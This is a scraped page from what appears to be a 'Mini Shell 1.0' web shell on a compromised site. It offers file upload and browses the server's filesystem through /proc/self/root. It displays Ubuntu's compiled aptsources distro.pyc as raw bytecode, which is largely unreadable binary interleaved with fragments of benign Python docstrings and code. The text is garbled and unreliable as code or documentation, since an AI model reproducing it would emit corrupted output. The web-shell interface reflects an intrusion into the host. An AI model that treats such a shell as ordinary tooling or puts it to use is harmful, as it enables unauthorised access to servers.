HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/aptsources/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/aptsources/__pycache__/distro.cpython-311.pyc
�

�xkdk]��
�ddlZddlZddlZddlZddlZddlmZddlmZGd�de	��Z
Gd�de��ZGd�d	e��Z
Gd
�de��ZGd�d
e��Zd�Zd�ZGd�d��Zddddgfd�ZdS)�N)�ElementTree)�gettextc��eZdZdS)�NoDistroTemplateExceptionN)�__name__�
__module__�__qualname__���3/usr/lib/python3/dist-packages/aptsources/distro.pyrr%s�������Drrc�X�eZdZgfd�Zd�Zdd�Zd�Zd�Zdd�Zd	�Z	d
�Z
d�Zd�Zd
�Z
dS)�Distributionc�h�||_||_||_||_||_d|_d|_dS)z0Container for distribution specific informations�debzdeb-srcN)�id�codename�description�release�is_like�binary_type�source_type)�selfrrrrrs      r�__init__zDistribution.__init__*s>����� ��
�&��������� ���$����rc��||_d|_g|_g|_g|_g|_g|_g|_g|_g|_	d|_
g|_d|_d|_
d|_g|_|jjjD]5}|�|j��r|j|jkr	||_n�6|j�t-d|j�d|j�����g}g}g}g}|jjD�]�}|j�s�|�|j���r�|j�r�|jj�r�|�|jj���r�|j�d��r=|js6|j� |��|�!|j"���n7|j�d��r"|jr|j� |��n�|j#|j$krV|jsO|j� |��|�!|j"��|� |j��n�|j#|j$kr"|jr|j� |��nc|j#|j%kr"|js|j� |��n1|j#|j%kr!|jr|j� |��|js�|j|jj&vr�|js,|j#|j$kr|j� |����6|js,|j#|j%kr|j� |����i|j� |�����tO|��|_tO|��|_|�!|��|�!|��tO|��|_tO|��|_	|�(��dS)zf
        Find the corresponding template, main and child sources
        for the distribution
        NF�z2Error: could not find a distribution template for �/�cdrom:))�sourceslist�source_template�
child_sources�main_sources�disabled_sources�
cdrom_sources�download_comps�
enabled_comps�cdrom_comps�
used_media�get_source_code�source_code_sources�default_server�main_server�nearest_server�used_servers�matcher�	templates�is_codename�name�distributionrrr�list�invalid�dist�template�official�uri�
startswith�disabled�append�extend�comps�typerr�children�set�get_mirrors)rrr6�mediar=r&r%�sources        r�get_sourceszDistribution.get_sources6s��'���#��������� "������ ������������$���#%�� �!������ �������(�0�:�	�	�H�����
�.�.�
�8�3H�D�G�3S�3S�(0��$������'�+�+��7�7�7�D�M�M�+���
��������
��&�+�	9�	9�F��N�
9��$�$�V�[�1�1�
9��O�
9��O�,�	
9�
�$�$�V�_�%9�:�:�
9��:�(�(��2�2�9�6�?�9��&�-�-�f�5�5�5��&�&�v�|�4�4�4�4��Z�*�*�8�4�4�9���9��&�-�-�f�5�5�5�5��[�D�$4�4�4�V�_�4��%�,�,�V�4�4�4��L�L���.�.�.��L�L���,�,�,�,��[�D�$4�4�4���4��)�0�0��8�8�8�8��[�D�$4�4�4�V�_�4��,�3�3�F�;�;�;�;��[�D�$4�4�4���4��)�0�0��8�8�8��>�
9�f�o��9M�9V�&V�&V���9�6�;�$�:J�+J�+J��&�-�-�f�5�5�5�5���9�V�[�D�<L�-L�-L��,�3�3�F�;�;�;�;��)�0�0��8�8�8��!�%�j�j����{�+�+������U�#�#�#����[�)�)�)� ��/�/����e�*�*����������rNc�b�|jj|_|jD]1}|�d��s|j�|���2t|j��dkr
|j|_	n|jdj
|_	i|_d}tj
�|��r�t|���}t!|dd���|j|_|�d��}|D]�}	|jd}n#t($r|jd	}YnwxYw	|jd
}n#t($r|jd}YnwxYwt+jd|��|j|���<��d|_d|_tjd
d���}	|	�d��}
|	�d��}|dkrt|	��}|	|
dz|����}|r
||z|_||jvr|j||_||_dSdS)zR
        Provide a set of mirrors where you can get the distribution from
        rrz%/usr/share/xml/iso-codes/iso_3166.xml)�file�iterN�iso_3166_entry�common_namer1�alpha_2_code�alpha_3_code�iso_3166�LANG�en_UK)�default�_�.����)r�base_urir+r'r9r-r;�lenr!r*r8�	countries�os�path�existsr�getattr�getiteratorrG�attrib�KeyErrorr�dgettext�lower�country�country_code�getenv�findr,)
r�mirror_template�medium�fname�et�it�elm�descr�code�locale�a�zras
             rrAzDistribution.get_mirrors�s_��
 �/�8����o�	1�	1�F��$�$�X�.�.�
1��!�(�(��0�0�0���t� �!�!�Q�&�&�"&�"2�D���"&�"3�A�"6�":�D�����7��
�7�>�>�%� � �	S��%�(�(�(�B��r�6�4�(�(�0��.������)�*�*�B��	
S�	
S��/��J�}�5�E�E���/�/�/��J�v�.�E�E�E�/����6��:�n�5�D�D���6�6�6��:�n�5�D�D�D�6����/6�/?�
�E�/R�/R���t�z�z�|�|�,�,���� �����6�7�3�3�3���K�K������K�K�������7�7��F���A��a�!�e�a�i�(�.�.�0�0���	A�"1�L�"@�D���4�>�)�)��>�,�7�D�L� ,�D����*�)s$�6
D�D�D�"
D0�0E
�	E
c�"�d}|�d��}|�d��}|dkr |dkr||td��z|�}||jvrtd��|j|zSd|�d��zS)zoTry to get a human readable name for the main mirror of a country
        Customize for different distributionsNz://z.archive.ubuntu.comrR�
Server for %s�%s�/ )rcrUrVrP�rstrip�r�serverr`�i�lis     r�_get_mirror_namezDistribution._get_mirror_name�s������K�K�����
�[�[�.�
/�
/����7�7�r�R�x�x��Q��U���^�b�0�1�G��d�n�$�$��_�%�%���w�(?�?�?��&�-�-��-�-�-�-rc�H�d�}g}t|j��dks4t|j��dkr�||jd|j��rh|�t	d��|jdg��|jr5|�|�|j��|jdg���n�t|j��dkr�||jd|j��s�|�t	d��|jdg��|jd}|jrF|||j��s5|�|�|j��|jdg��|r+|�|�|��|dg���nt|j��dkr�|�t	d��|jdg��|jr5|�|�|j��|jdg��|�t	d��ddg��|jD]V}|�|��|dg}|||j��s|||j��r�=||vr|�|���W|S)	z+Return a list of used and suggested serversc�x�tj|�d��|�d����S)zgHelper function that handles comaprision of mirror urls
            that could contain trailing slashesrr)�re�match�striprs)�mir1�mir2s  r�compare_mirrorsz5Distribution.get_server_list.<locals>.compare_mirrors�s.���8�D�J�J�t�,�,�d�k�k�$�.?�.?�@�@�@rrSrzMain serverTFzCustom serversN)rUr-r+r;rPr,rx)rr��mirrorsru�mirror_entrys     r�get_server_listzDistribution.get_server_list�s���	A�	A�	A����t� �!�!�A�%�%���!�"�"�a�'�'���� 1�!� 4�d�6F�G�G�
(�
�N�N�A�m�,�,�d�.>��E�F�F�F��"�
�����-�-�d�.A�B�B��+���������"�
#�
#�q�
(�
(�����a� �$�"2�2
�2
�
(�
�N�N�A�m�,�,�d�.>��F�G�G�G��&�q�)�F��"�
�&��v�t�/B�C�C���N�N� �1�1�$�2E�F�F� �/�!������
N����� 5� 5�f� =� =�v�t�L�M�M�M��
��"�
#�
#�a�
'�
'�
�N�N�A�m�,�,�d�.>��F�G�G�G��"�
�����-�-�d�.A�B�B��+������
�N�N�A�.�/�/��t�<�=�=�=��+�
1�
1�� $� 5� 5�f� =� =�v�u�M��"�?�6�4�+>�?�?�1�?�?��D�,�D�D�1��!��0�0��N�N�<�0�0�0���rrc�f�|�|j}|�|j}|�t|j��}|�|j}|j�|||||��}|jrX||jkrO|j�|j|||||j	|jj�
|��dz���dSdSdS)z3
        Add distribution specific sources
        NrS)rF�pos)r*rr3r%rr�addr(rrF�index)rr>r8r5r=�comment�
new_sources       r�
add_sourcezDistribution.add_sources����;��%�C��<��=�D��=���+�,�,�E��<��#�D��%�)�)�$��T�5�'�J�J�
���		�D�D�,<�$<�$<��� � �� ������_��$�)�/�/�
�;�;�a�?�
!�
�
�
�
�
�		�		�$<�$<rc���t|g��}|jD]=}|jjD].}|j|kr!|jr|�|j���/�>|D]}|�|���dS)z�
        Enable a component in all main, child and source code sources
        (excluding cdrom based sources)

        comp:         the component that should be enabled
        N)r@r!r6�
componentsr1�parent_componentr��_enable_component)r�compr=rC�cs     r�enable_componentzDistribution.enable_component2s����T�F�����'�	2�	2�F��_�/�
2�
2���6�T�>�>�a�&8�>��I�I�a�0�1�1�1��
2��	&�	&�A��"�"�1�%�%�%�%�	&�	&rc�n���fd�}g}|�|j��|�|j��i}i}|D][}|j|jkrI|j|vrt
��||j<|jD]"}||j�|���#�\|j	D][}|j|j
krI|j|vrt
��||j<|jD]"}||j�|���#�\t|j��dkr|�d�zg���n'|D]}|||���|j	D]}|||���|j
rPt|j	��dkr"|�|j
d�zg���dS|j	D]}|||���dSdS)Nc���|j|vrdS�||jvrdS|xj�gz
c_||j����dS)z�
            Check if we already added the component to the repository, since
            a repository could be splitted into different apt lines. If not
            add the component
            N)r5r=r�)rC�comps_per_distr�s  �r�add_component_only_oncez?Distribution._enable_component.<locals>.add_component_only_onceCsc����{�.�0�0����~�f�k�2�2�2����L�L�T�F�"�L�L��6�;�'�+�+�D�1�1�1�1�1rrSrq)r=)r>r=)r<r!r r>rr5r@r=r�r)rrUr�r()	rr�r��sourcesr��comps_per_sdist�sr�rCs	 `       rr�zDistribution._enable_componentBsI���	2�	2�	2�	2�	2�$�����t�(�)�)�)����t�)�*�*�*������	2�	2�A��v��)�)�)��6��/�/�-0�U�U�N�1�6�*���2�2�A�"�1�6�*�.�.�q�1�1�1�1���)�	3�	3�A��v��)�)�)��6��0�0�.1�e�e�O�A�F�+���3�3�A�#�A�F�+�/�/��2�2�2�2���t� �!�!�A�%�%��O�O�4�$�;�-�O�0�0�0�0�"�
@�
@��'�'���?�?�?�?��2�
A�
A��'�'���@�@�@�@���	E��4�+�,�,�q�0�0����T�%5�d�T�k�]��K�K�K�K�K�#�6�E�E�F�+�+�F�O�D�D�D�D�	E�	E�E�Erc��g}|�|j��|�|j��|�|j��||jvrg}|�|j��|D]W}||jvrL|j�|��t|j��dkr|j�|���XdS)zx
        Disable a component in all main, child and source code sources
        (excluding cdrom based sources)
        rSN)	r<r!r r)r&r=�removerUr)rr�r�rCs    r�disable_componentzDistribution.disable_components���
�����t�(�)�)�)����t�)�*�*�*����t�/�0�0�0��4�#�#�#��G��N�N�4�,�-�-�-��	4�	4�F��v�|�#�#���#�#�D�)�)�)��v�|�$�$�q�(�(��$�+�+�F�3�3�3��		4�	4rc�����fd�}g}g}|�_�jD]}||||����jD]0}|jj�|jj|jkr
||||���1�jD]}||||���dS)zHChange the server of all distro specific sources to
        a given hostc�.��||_|jD]P}|j|j|g|vr|j�|���.|�|j|j|g���Qt|j��dkr�j�|��dSdS)NrS)r8r=r5r�r;rUr)rCr8�seenr�rs    �r�change_server_of_sourcez;Distribution.change_server.<locals>.change_server_of_source�s�����F�J���
A�
A���J���T�2�d�:�:��L�'�'��-�-�-�-��K�K���V�[�$� ?�@�@�@�@��6�<� � �1�$�$�� �'�'��/�/�/�/�/�%�$rN)r*r!r r6rTr8r))rr8r��seen_binary�seen_sourcerCs`     r�
change_serverzDistribution.change_server�s����		0�		0�		0�		0�		0�����!����'�	>�	>�F�#�#�F�C��=�=�=�=��(�	B�	B�F���(�0��?�+�v�z�9�9�'�'���[�A�A�A���.�	>�	>�F�#�#�F�C��=�=�=�=�	>�	>rc� �||jkrdSdS)z/Compare a given name with the release codename.TF)r�rr1s  rr0zDistribution.is_codename�s���4�=� � ��4��5r�N)NNNNr)rrr	rrDrArxr�r�r�r�r�r�r0r
rrrr)s�������CE�
%�
%�
%�
%�T�T�T�l6-�6-�6-�6-�p.�.�.�C�C�C�J����6&�&�&� ;E�;E�;E�z4�4�4�$>�>�>�<����rrc�$�eZdZdZd�Zd�Zd�ZdS)�DebianDistributionz)Class to support specific Debian featuresc�2�||jks	|jdvrdSdS)z}Compare a given name with the release codename and check if
        if it can be used as a synonym for a development releases)�testing�unstableTF)rrr�s  rr0zDebianDistribution.is_codename�s(���4�=� � �D�L�4K�$K�$K��4��5rc��d}|�d��}|�d��}|dkr |dkr||td��z|�}||jvrTtd��t	jd|j|��������zSd|�d��zS)	zYTry to get a human readable name for the main mirror of a country
        Debian specificNz://ftp.z.debian.orgrRrprLrqrr)rcrUrVrPrr^rsrts     rrxz#DebianDistribution._get_mirror_name�s������K�K�	�"�"��
�[�[��
'�
'����7�7�r�R�x�x��Q��Y���/�"�4�5�G��d�n�$�$��/�"�"��"����w� 7� >� >� @� @����&�(�(��
��&�-�-��-�-�-�-rc�>�t�|d���dS)Nz http://ftp.%s.debian.org/debian/�rd�rrA�rs rrAzDebianDistribution.get_mirrors�s/��� � ��"D�	!�	
�	
�	
�	
�	
rN)rrr	�__doc__r0rxrAr
rrr�r��sG������3�3����.�.�.�&
�
�
�
�
rr�c��eZdZdZd�ZdS)�UbuntuDistributionz)Class to support specific Ubuntu featuresc�>�t�|d���dS)Nz$http://%s.archive.ubuntu.com/ubuntu/r�r�r�s rrAzUbuntuDistribution.get_mirrors�s/��� � ��"H�	!�	
�	
�	
�	
�	
rN�rrr	r�rAr
rrr�r��s)������3�3�
�
�
�
�
rr�c��eZdZdZd�ZdS)�UbuntuRTMDistributionz-Class to support specific Ubuntu RTM featuresc�(�|jj|_dSr�)rrTr+r�s rrAz!UbuntuRTMDistribution.get_mirrors�s���/�8����rNr�r
rrr�r��s)������7�7�9�9�9�9�9rr�c��ddlm}m}ddl}ddddd�}	|d	d
g|������d}|�d��}|�d
�|�d��D����n>#t$r1}|j|j	krtjd|z��Yd}~nd}~wwxYw|S)z-Call lsb_release --idrc and return a mapping.r��Popen�PIPEN�sid�DebianzDebian GNU/Linux unstable (sid)r�)�Codename�Distributor ID�Description�Release�lsb_releasez-idrc)�stdoutzutf-8c3�HK�|]}d|v�|�d��V��dS)z:	N)�split)�.0�lines  r�	<genexpr>z_lsb_release.<locals>.<genexpr>�s3����U�U�D�u�PT�}�}�d�j�j��'�'�}�}�}�}�U�Ur�
z#lsb_release failed, using defaults:)�
subprocessr�r��errno�communicate�decode�updater��OSError�ENOENT�logging�warning)r�r�r��result�out�excs      r�_lsb_releaser��s��&�&�&�&�&�&�&�&��L�L�L��"�8��	��F�I��e�]�G�,�T�:�:�:�F�F�H�H��K���j�j��!�!���
�
�U�U�C�I�I�d�O�O�U�U�U�U�U�U�U���I�I�I��9���$�$��O�A�C�G�H�H�H����������I�����Ms�A.B�
B?�'B:�:B?c��ddlm}m}ddl}	ddlm}n9#t
$r,t
jtjtj	��}YnwxYw	|ddg||d����
��d}|���D]5}|�d	��r|�
d
d��dcS�6n>#t$r1}|j|jkrt!jd|z��Yd}~nd}~wwxYwdS)
z=Get the current channel from system-image-cli -i if possible.rr�N)�DEVNULLzsystem-image-cliz-iT)r��stderr�universal_newlinesz	channel: z: rSz+system-image-cli failed, using defaults: %s)r�r�r�r�r��ImportErrorrW�open�devnull�O_RDWRr��
splitlinesr9r�r�r�r�r�)r�r�r�r�r�r�r�s       r�_system_image_channelr�s^��&�&�&�&�&�&�&�&��L�L�L�1�&�&�&�&�&�&�&���1�1�1��'�"�*�b�i�0�0����1����Q��e�
��&���#�	
�
�
�
�+�-�-�����N�N�$�$�	.�	.�D����{�+�+�
.��z�z�$��*�*�1�-�-�-�-�
.�	.���Q�Q�Q��9���$�$��O�I�C�O�P�P�P����������Q�����4s.��3A�
A�A1C�C�
C>�
'C9�9C>c�6�eZdZdZdZd	d�Zd�Zd�Zd�Zd�Z	dS)
�
_OSReleasez/etc/os-releaseTc��i|_d|_tj|_t
j�|j��sdS|���d|_|r|�	��dSdS)NFT)
r��validr��OS_RELEASE_FILErFrWrX�isfile�parse�inject_lsb_compat)r�
lsb_compats  rrz_OSRelease.__init__su�������
��.��	��w�~�~�d�i�(�(�	��F��
�
������
��	%��"�"�$�$�$�$�$�	%�	%rc�@�|jd|jd<|jd|jd<|j�d��|jd<|jds"|j�d��|jd<|j�d��|jd	<dS)
N�IDr��PRETTY_NAMEr��VERSION_CODENAMEr��UBUNTU_CODENAME�
VERSION_IDr�)r��getr�s rr�z_OSRelease.inject_lsb_compat-s���(,��D�(9���$�%�%)�[��%?���M�"�"&�+�/�/�2D�"E�"E���J���{�:�&�	I�&*�k�o�o�6G�&H�&H�D�K�
�#�!%�����!>�!>���I���rc���t|jd��}|D]7}|���}|s�|j|�dd����8|���dS)N�r�=rS)r�rFr}�parse_entryr��close)r�fr�s   rr�z_OSRelease.parse7sl�����C� � ���	2�	2�D��:�:�<�<�D��
���D��d�j�j��a�0�0�1�1�1�	���	�	�	�	�	rc��|�|��}|dkr*t|t��r|�d��}||j|<dS)N�ID_LIKE� )�parse_value�
isinstance�strr�r�)r�key�values   rr�z_OSRelease.parse_entry@sT��� � ��'�'���)���
�5�#� 6� 6���K�K��$�$�E� ���C���rc�d�tj|��}t|��dkr|dS|S)NrSr)�shlexr�rU)rr��valuess   rr�z_OSRelease.parse_valueHs1����U�#�#���v�;�;�!����!�9���
rN)T)
rrr	�DEFAULT_OS_RELEASE_FILEr�rr�r�r�r�r
rrr�r�so������/��'�O�%�%�%�%�?�?�?����!�!�!�����rr�c�Z�|r|r|r|s�t��}g}t��}|jr|j}t��}|d}|d}|d}|d}|�dg��}|dkrPt��}|�@d|vr<d	}|�d
d��d�dd��d
}|}|}|dkrt|||||��S|d	krt|||||��S|dkrt|||||��St|||||��S)z�
    Check the currently used distribution and return the corresponding
    distriubtion class that supports distro specific features.

    If no paramter are given the distro will be auto detected via
    a call to lsb-release
    r�r�r�r�r��UbuntuNzubuntu-rtm/z
Ubuntu-RTMrrS�-rr�)r�r�r�r�r�r��rsplitr�r�r�r�r)	rrrrr�
os_release�	os_result�
lsb_result�channels	         r�
get_distrorOsg��
�#�8�#��#��#��\�\�
��	�!�^�^�
���	*�"�)�I�"�^�^�
�
�(�
)���j�)�� ��/���Y�'���-�-�	�2�.�.��
��>�>�+�-�-�G��"�}��'?�'?�!��"�>�>�#�q�1�1�!�4�:�:�3��B�B�1�E��&��"��	�X�~�~�!�"�h��W�g�N�N�N�	�\���$�R��;���Q�Q�Q�	�x���!�"�h��W�g�N�N�N��B��+�w��H�H�Hr)rr�r{rrW�xml.etree.ElementTreer�apt_pkgrP�	Exceptionr�objectrr�r�r�r�r�r�rr
rr�<module>rs���4��������	�	�	�	�����	�	�	�	�-�-�-�-�-�-� � � � � � �	�	�	�	�	�	�	�	�	�K�K�K�K�K�6�K�K�K�\!
�!
�!
�!
�!
��!
�!
�!
�H
�
�
�
�
��
�
�
�9�9�9�9�9�.�9�9�9����,���41�1�1�1�1�1�1�1�h��4��r�-I�-I�-I�-I�-I�-Ir